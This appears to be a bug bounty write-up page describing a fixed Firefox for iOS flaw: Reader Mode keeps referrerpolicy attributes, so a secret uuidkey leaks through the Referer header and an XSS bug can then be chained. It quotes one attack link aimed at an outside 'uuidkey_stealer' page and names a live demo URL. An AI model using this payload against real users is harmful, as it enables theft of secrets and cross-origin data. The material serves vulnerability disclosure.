Privilege escalation in Firefox for iOS through <a [referrerpolicy]> in ReaderMode
Firefox for iOS uses a secret uuidkey to protect internal pages, and sets a referrer policy to prevent leaking it. Reader Mode fails to strip referrerpolicy attributes from links, so an attacker can relax the policy and steal the uuidkey via the Referer header, then use it to access internal pages and exploit an XSS bug.
Originally disclosed on Mozilla
- Fixed in 14 days
- Paid in 19 days
- Disclosed after 14 days
Created attachment 9360413
reader-privilege-escalation.mov
In Firefox for iOS, privileged contents are hosted by internal://local/* URLs, and to prevent access to the internal: pages, secret "uuidkey" based protection was introduced (Bug 1263627). This protection blocks transitions to any internal://local URLs when the correct uuidkey value is not specified in the query string.
If the protection is bypassed, attacker can abuse a XSS bug in sessionrestore page (Bug 1258188) and then any cross origin web contents can be stolen as previously demonstrated (Bug 1279787). So, to prevent leakage of the secret "uuidkey" through the REFERER header, "referrer-policy" are set in some internal: pages.
But, this referrer-policy can be relaxed by overrided it with <a [referrerpolicy]>. For example, if <a referrer-policy=unsafe-url> is set, current full URL with uuidkey is sent to external hyperlink.
In Reader Mode in Firefox for iOS, <a [referrerpolicy]> attributes are not removed when rendering the page in ReaderMode. It allows an attacker to relaxthe referrer policy on the page and steal the correct "uuidkey" value to an external pagevia the REFERER header.
The following page is a demonstration of the above bug.
Open the page in ReaderMode and click a hyperlink with the text "Click Me!!" in the page.
https://csrf.jp/2023/reader-privilege-escalation.php
In the above link, the following <a> tag is set for relaxing the referrer policy.
`<a href=https://csrf.jp/2023/uuidkey_stealer.php referrerpolicy=unsafe-url>Click Me!!</a>`
When you open the URL in ReaderMode and click the Click Me!!, the page is transitioned to an external page, and "uuidkey" value is stolen through REFERER header. The attacker's external page exploit the XSS bug in sessionrestore page (Bug 1258188), so alert dialog with internal://local is shown in the window.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, Reader Mode does not sanitise or remove referrerpolicy attributes from anchor tags, allowing an attacker to override the referrer policy that protects the uuidkey.
Impact
An attacker could steal the uuidkey and then exploit an XSS bug in the sessionrestore page to access internal pages and steal cross-origin web contents.
What the attacker needed
Victim uses Firefox for iOS; victim opens attacker page in Reader Mode; victim clicks a link
How it was found
- Open the demonstration page in Reader Mode.
- Click the hyperlink with the text 'Click Me!!'.
- The page transitions to an external page and the uuidkey is stolen through the Referer header.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox for iOS has special internal pages that are protected by a secret code called uuidkey. The browser normally hides this code when you click a link to another website, but Reader Mode (a feature that simplifies pages for reading) forgets to remove a setting that tells the browser to send the full address, including the secret code. An attacker can put a link in a page, get you to open it in Reader Mode and click it, and then receive the secret code, which lets them open internal pages and run harmful scripts.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.